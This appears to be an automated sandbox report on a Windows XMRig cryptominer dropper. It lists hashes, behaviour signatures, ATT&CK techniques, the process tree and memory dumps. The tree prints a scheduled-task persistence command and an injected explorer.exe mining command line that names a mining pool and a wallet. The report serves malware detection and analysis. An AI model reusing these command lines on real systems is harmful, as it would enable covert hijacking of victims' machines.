xmrig | 75e4dab693b826d6462a1d7251ad1eebe13aea193f68608ba0547607b19bc9fc

Analysis

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
13/03/2024, 03:36

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General

Target

c4dfc3e37ff44d6794f8fe89e464a90d.exe
Size

42KB
MD5

c4dfc3e37ff44d6794f8fe89e464a90d
SHA1

c1875a4ba364e9d74fccc96623b974618e3f5e44
SHA256

75e4dab693b826d6462a1d7251ad1eebe13aea193f68608ba0547607b19bc9fc
SHA512

7f49ec7136487c2b6242fddd0fdbd9a74353185e63784fc94d48772963ec71b74f3c13dfa003f7a35ffe864e5c0977c7dd0fea01d6eb9f3a62c747506d5d1917
SSDEEP

768:hFQx6YyMKQKEOuiQYvzusuCJrJw68b0soqv38mGL4VhmdSYLMt:8xTv7/gusfF8osoesmGLQhpxt

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral2/memory/4580-39-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-41-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-43-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-45-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-46-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-47-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-48-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-49-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-50-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-54-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4580-55-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	c4dfc3e37ff44d6794f8fe89e464a90d.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	services64.exe

Executes dropped EXE 2 IoCs

pid	Process
2440	services64.exe
5092	sihost64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
49	raw.githubusercontent.com
50	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2440 set thread context of 4580	2440	services64.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1748	schtasks.exe
228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2820	c4dfc3e37ff44d6794f8fe89e464a90d.exe
2820	c4dfc3e37ff44d6794f8fe89e464a90d.exe
2440	services64.exe
2440	services64.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	c4dfc3e37ff44d6794f8fe89e464a90d.exe
Token: SeDebugPrivilege	2440	services64.exe
Token: SeLockMemoryPrivilege	4580	explorer.exe
Token: SeLockMemoryPrivilege	4580	explorer.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 440	2820	c4dfc3e37ff44d6794f8fe89e464a90d.exe	102
PID 2820 wrote to memory of 440	2820	c4dfc3e37ff44d6794f8fe89e464a90d.exe	102
PID 440 wrote to memory of 1748	440	cmd.exe	105
PID 440 wrote to memory of 1748	440	cmd.exe	105
PID 2820 wrote to memory of 2440	2820	c4dfc3e37ff44d6794f8fe89e464a90d.exe	107
PID 2820 wrote to memory of 2440	2820	c4dfc3e37ff44d6794f8fe89e464a90d.exe	107
PID 2440 wrote to memory of 1132	2440	services64.exe	109
PID 2440 wrote to memory of 1132	2440	services64.exe	109
PID 2440 wrote to memory of 5092	2440	services64.exe	111
PID 2440 wrote to memory of 5092	2440	services64.exe	111
PID 1132 wrote to memory of 228	1132	cmd.exe	112
PID 1132 wrote to memory of 228	1132	cmd.exe	112
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114
PID 2440 wrote to memory of 4580	2440	services64.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\c4dfc3e37ff44d6794f8fe89e464a90d.exe
"C:\Users\Admin\AppData\Local\Temp\c4dfc3e37ff44d6794f8fe89e464a90d.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:1748
- C:\Users\Admin\AppData\Local\Temp\services64.exe
  "C:\Users\Admin\AppData\Local\Temp\services64.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1132
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Local\Temp\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:228
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    PID:5092
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQmYM88CHfRtRr6KMKy --pass=test --cpu-max-threads-hint=20 --tls
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4012 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
1⤵
PID:836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\services64.exe

Filesize
42KB

MD5
c4dfc3e37ff44d6794f8fe89e464a90d

SHA1
c1875a4ba364e9d74fccc96623b974618e3f5e44

SHA256
75e4dab693b826d6462a1d7251ad1eebe13aea193f68608ba0547607b19bc9fc

SHA512
7f49ec7136487c2b6242fddd0fdbd9a74353185e63784fc94d48772963ec71b74f3c13dfa003f7a35ffe864e5c0977c7dd0fea01d6eb9f3a62c747506d5d1917

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
7KB

MD5
8dc541a5c37afc1fbf747f315b3039f8

SHA1
42df50fa5f6b16167f50b567baea1d71d0b96605

SHA256
a03ea36743a32f47054884f1f4cb5d42212c98a8c0b037404fa3037a0c1c8b91

SHA512
6204d8db6e62b9715698e6ec59aa56a928dd763a1fd17b1d191fe24ca564a01cda053f97448fb57b5db346f360c58c0013101eef4852077b9b4249e71964f86c

Download Submit
memory/2440-42-0x00007FF9840E0000-0x00007FF984BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2440-38-0x00007FF9840E0000-0x00007FF984BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2440-17-0x00007FF9840E0000-0x00007FF984BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2440-19-0x0000000000E30000-0x0000000000E40000-memory.dmp

Filesize
64KB

Download
memory/2820-4-0x0000000001D50000-0x0000000001D62000-memory.dmp

Filesize
72KB

Download
memory/2820-2-0x000000001CB10000-0x000000001CB20000-memory.dmp

Filesize
64KB

Download
memory/2820-18-0x00007FF9840E0000-0x00007FF984BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2820-1-0x00007FF9840E0000-0x00007FF984BA1000-memory.dmp

Filesize
10.8MB

Download
memory/2820-0-0x0000000000F60000-0x0000000000F6E000-memory.dmp

Filesize
56KB

Download
memory/2820-3-0x0000000001D20000-0x0000000001D2E000-memory.dmp

Filesize
56KB

Download
memory/4580-43-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-47-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-39-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-41-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-57-0x00000000029B0000-0x00000000029D0000-memory.dmp

Filesize
128KB

Download
memory/4580-48-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-50-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-45-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-46-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-56-0x00000000029B0000-0x00000000029D0000-memory.dmp

Filesize
128KB

Download
memory/4580-44-0x00000000028B0000-0x00000000028D0000-memory.dmp

Filesize
128KB

Download
memory/4580-49-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-55-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4580-51-0x0000000002990000-0x00000000029B0000-memory.dmp

Filesize
128KB

Download
memory/4580-54-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/5092-53-0x000000001C470000-0x000000001C480000-memory.dmp

Filesize
64KB

Download
memory/5092-52-0x00007FF9840E0000-0x00007FF984BA1000-memory.dmp

Filesize
10.8MB

Download
memory/5092-33-0x0000000000840000-0x0000000000846000-memory.dmp

Filesize
24KB

Download
memory/5092-36-0x000000001C470000-0x000000001C480000-memory.dmp

Filesize
64KB

Download
memory/5092-35-0x00007FF9840E0000-0x00007FF984BA1000-memory.dmp

Filesize
10.8MB

Download